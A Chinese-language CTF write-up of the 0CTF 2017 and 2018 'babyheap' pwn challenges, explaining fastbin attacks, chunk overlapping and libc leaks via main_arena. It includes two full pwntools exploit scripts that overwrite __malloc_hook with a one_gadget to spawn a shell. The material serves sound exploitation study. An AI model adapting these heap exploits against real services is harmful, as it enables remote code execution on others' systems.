因为最近2019届0ctf-tctf开始了,想去水一水,特别把2018的babyheap和2017的babyheap做了一下汲取一下经验,感觉两题类型相似,大致思路相同,2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写,有助于加深对fastbin_attack的理解,和提高知识运用的灵活性。
首先提供两道题目的二进制文件:2017_0ctf_babyheap 2018_0ctf_babyheap
可以看到文件为64位,保护全开,给了Libc,标准的堆题。。。看到full relro一般为改hook为one_gadget。放进ida里进一步分析:
可以看到程序开始时先选了一段随机不可控的地址来储存heap列表的基地址(base_ptr)。紧接着就进入了死循环,打印菜单,输入选项,运行函数。逐个分析功能:
allocate()功能中,我们发现heap的content大小由我们自己决定(小于0x1000),是可控的,且heap结构体中会储存heap内容的大小。此外,我们申请堆块时用的是 calloc() 这意味着堆块的数据开始时要被初始化为0,这一点需要注意
fill()函数就是向我们申请过的chunk里填数据,不过有一个很明显的任意溢出更改漏洞。
free()就是将chunk指针free(),没有uaf漏洞。
print()函数就是打印对应下标的chunk的content,不过打印的内容是根据我们在allocate()时输入的size来决定的。
首先我们的最终目标定为:将malloc_hook改为one_gadget,现阶段,我们只能借助于程序自身的fill()功能来进行写,而fill()功能又需要一个堆指针,所以我们的目标转化为如何使堆指针分配到malloc_hook附近,我们运用fastbin功能与overlapping结合的方法来实现。
因为我们要确定malloc_hook的地址与one_gadget的地址,所以必须泄露出libc。
之后我们就可以先把chunk2(大小我们申请为0x60)放进fastbin里,然后通过chunk1改其fd指针为&main_arena-0x33,然后在申请两次即可,然后再通过改chunk4的内容来改malloc_hook,再申请则会触发one_gadget。
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
#context.log_level='debug'
p=process('./babyheap')
libc=ELF('./libc.so.6')
def allocate(length):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(length))
def fill(ID,length,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(ID))
p.recvuntil('Size: ')
p.sendline(str(length))
p.recvuntil('Content: ')
p.send(payload)
def free(ID):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(ID))
def dump(ID):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(ID))
offset = 0x3c4b20
#---------------1.leak--------------------
#-------------overlapping start-----------
allocate(0x20) #index 0
allocate(0x20) #index 1
allocate(0x100) #index 2
allocate(0x20) #index 3 隔离index 2 防止其被topchunk合并
#---------------change--------------------
payload = 'a'*0x20+p64(0)+p64(0x141)
fill(0,len(payload),payload)
#gdb.attach(p)
#--------------free and malloc------------
free(1)
allocate(0x130)
payload = '\x00'*0x20+p64(0)+p64(0x111) #因为calloc()会清空index 1
fill(1,len(payload),payload)
#--------------overlapping down-----------
free(2)
#gdb.attach(p)
dump(1)
p.recvuntil('Content: \n')
main_arena_addr = u64(p.recv()[48:48+6].ljust(8,'\x00')) - 88
libcbase = main_arena_addr - offset
one_gadget = 0x4526a #0x4526a 0xf02a4 0xf1147
one_gadget_addr = libcbase + one_gadget
log.success('libcbase = ' + hex(libcbase))
#gdb.attach(p)
#-------------leak down-------------------
#---------------2.change------------------
p.sendline('1') #index 2
p.recvuntil(': ')
p.sendline(str(96))
#gdb.attach(p)
free(2)
#gdb.attach(p)
fake_chunk_addr = main_arena_addr - 0x33
payload = 'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk_addr)
fill(1,len(payload),payload)
#gdb.attach(p)
allocate(0x60) #index 2
#gdb.attach(p)
allocate(0x60) #index 4
payload = 'a'*0x13 + p64(one_gadget_addr)
fill(4,len(payload),payload)
allocate(0x20)
p.interactive()
和2017年的题目类似,有一些小的变化,一个是allocate()最大只能申请0x58的chunk(虽然条件变得苛刻,但是等于从侧面告诉了我们方向是fastbin_attack),然后是fill()不再有任意溢出漏洞,而是只有off-by-one漏洞,这不影响overlapping,只是方法要复杂一点。
第一步肯定还是先想leak出libc,但是这个可能就有点小麻烦了。。。我们首先想到老方法:overlapping之后用大块打印小块的内容,但是小块一定是大于0x80的,所以我们不可能打印出小块的全部内容,我们也只需要fd指针位置的内容,这一点是可行的,但是因为chunk大小的限制,我们必须经过精心构造,来绕过检查。做了其他的fastbin_attack的题目后,又用了新方法:两个指针控制同一块chunk。。。。先将一块chunk(overlapping的小块)放进fastbin,然后利用overlapping的大块改其的fd指针最后一位为我们想要的重叠位置的chunk的地址的最后一位,因为内存页分配原则,导致他们地址除了最后的一个字节不一样,其他都一样。再malloc两次就完事,然后当重叠的chunk被free以后,还是可以通过另外一个堆指针来打印fd的内容,进行泄露。
这里也要注意,因为chunk最大为0x60,所以原来的直接把&main_arena-0x33位置放进fastbin里已经失效(size为0x70),需要想别的办法。。。这里需要改top_chunk的地址(这里做的时候没想到。。。orz),首先要知道top_chunk的地址在&main_arena+80,而在&main_arena+80和&main_arena之间是用来存放fastbinY的,其值是fastbin中各个大小的的bins的头指针,如果全都没有的话则全为零,所以我们必须要一个chunk(其大小不能太小,不然离&main_arena+88太远控制不了)来压住,并利用其来伪造出fake_chunk的size。然后我们可以将fake_chunk设在伪造处,然后fill()更改top_chunk的地址为我们计划的地址(&main_arena-0x33),再次申请一个chunk(大小可以覆盖到malloc_hook)即可,然后再fill()更改其值。
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
p = process('./babyheap')
P = ELF('./babyheap')
libc = ELF('./libc-2.24.so')
def allocate(length):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(length))
def update(ID,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(ID))
p.recvuntil('Size: ')
p.sendline(str(len(payload)))
p.recvuntil('Content: ')
p.send(payload)
def delete(ID):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(ID))
def view(ID):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(ID))
#leak出libc
size = 0x28
allocate(size) #index 0
allocate(size) #index 1
allocate(size) #index 2
allocate(size) #index 3
size = 0x80
allocate(size) #index 4
payload = 'a'*0x28 + p8(0x61)
update(0,payload)
delete(1)
allocate(0x50) #index 1
delete(0)
payload = 'a'*0x20+p64(0)+p64(0x31)
update(1,payload)
delete(2)
payload = 'a'*0x20+p64(0)+p64(0x31)+p8(0xc0)
update(1,payload)
#gdb.attach(p)
payload = 'a'*0x20+p64(0)+p8(0x31)
update(3,payload)
allocate(0x28) #index 0
allocate(0x28) #index 2
payload = 'a'*0x20+p64(0)+p8(0x91)
update(3,payload)
allocate(0x80) #index 5
payload = 'a'*0x20+p64(0)+p64(0x31)
update(5,payload)
delete(4)
view(2)
p.recvuntil('Chunk[2]: ')
main_arena_addr = u64(p.recv(6).ljust(8,'\x00')) - 88
log.success('main_arena='+hex(main_arena_addr))
#gdb.attach(p)
libcbase = main_arena_addr - 0x3c4b20
one_gadget = 0x4526a
one_gadget_addr = one_gadget + libcbase
log.success('libc=' + hex(libcbase))
log.success('one_gadget='+hex(one_gadget_addr))
#gdb.attach(p)
#改malloc_hook的值为one_gadget
'''
#gdb.attach(p)
payload = 'a'*0x20+p64(0)+p64(0x71)
update(1,payload)
payload = p64(0)+p64(0x81)
update(2,payload)
delete(0)
payload = 'a'*0x20+p64(0)+p64(0x71)+p64(main_arena_addr-0x33)
update(1,payload)
#gdb.attach(p)
'''
allocate(0x48) #index 4
delete(4)
payload = p64(main_arena_addr+37)
update(2,payload)
allocate(0x58)
delete(4)
allocate(0x48) #index 4
#gdb.attach(p)
allocate(0x48) #index 6
#gdb.attach(p)
payload = '\x00'*35 + p64(main_arena_addr-0x33)
update(6,payload)
#gdb.attach(p)
allocate(0x48) #index 7
payload = '\x00'*0x13 + p64(one_gadget_addr)
update(7,payload)
#gdb.attach(p)
allocate(0x48)
'''
allocate(0x60) #index 6
payload = 'a'*0x13 + p64(one_gadget_addr)
update(6,payload)
'''
p.interactive()
这一题准备自己独立做的,结果只能相出大致思路,不会leak无法入手,看了writeup,学会了新姿势,也对fastbin attack有了更深的认识。
leak出libc的方法除了泄露got表外,还有另一种:通过泄露main_arena来泄露libc。详情见链接:
利用main_arena泄露libc
__malloc_hook为函数指针,当其不为NULL时,优先调用其指向的函数,一般有堆题又开了full relro的基本为这种,或者是free的。
fastbin attack我的体会是其先free将chunk送入fastbin,然后如果有uaf的话直接改写其fd指针,没有uaf的话就通过溢出或者overlapping(需要off_one_by)来改写fd指针,然后再malloc使堆指针指向我们计划好的地方(这里需要注意要通过fastbin的检查,fake_chunk的size要和malloc(size)的size一样)。 fastbin的大小范围(总大小)为大于等于0x20小于等于0x80。
unsortedbin 的一些体会:ptr=malloc(0x80),free(ptr),会被分到unsortedbin中,unsortedbin的结构图在上面的链接里有,其是在main_arena+88处 main_arena又在libc的data的段里。 当malloc()时,当fastbin里没有大小正好合适的chunk的时候,会从unsortedbin中找到大小大于需求的块切割了分给用户,剩下的继续留在unsortedbin中。
当free(smallchunk)时一定要注意不要被topchunk合并,并且不要触发unlink。
calloc()申请的空间会全设为’\x00’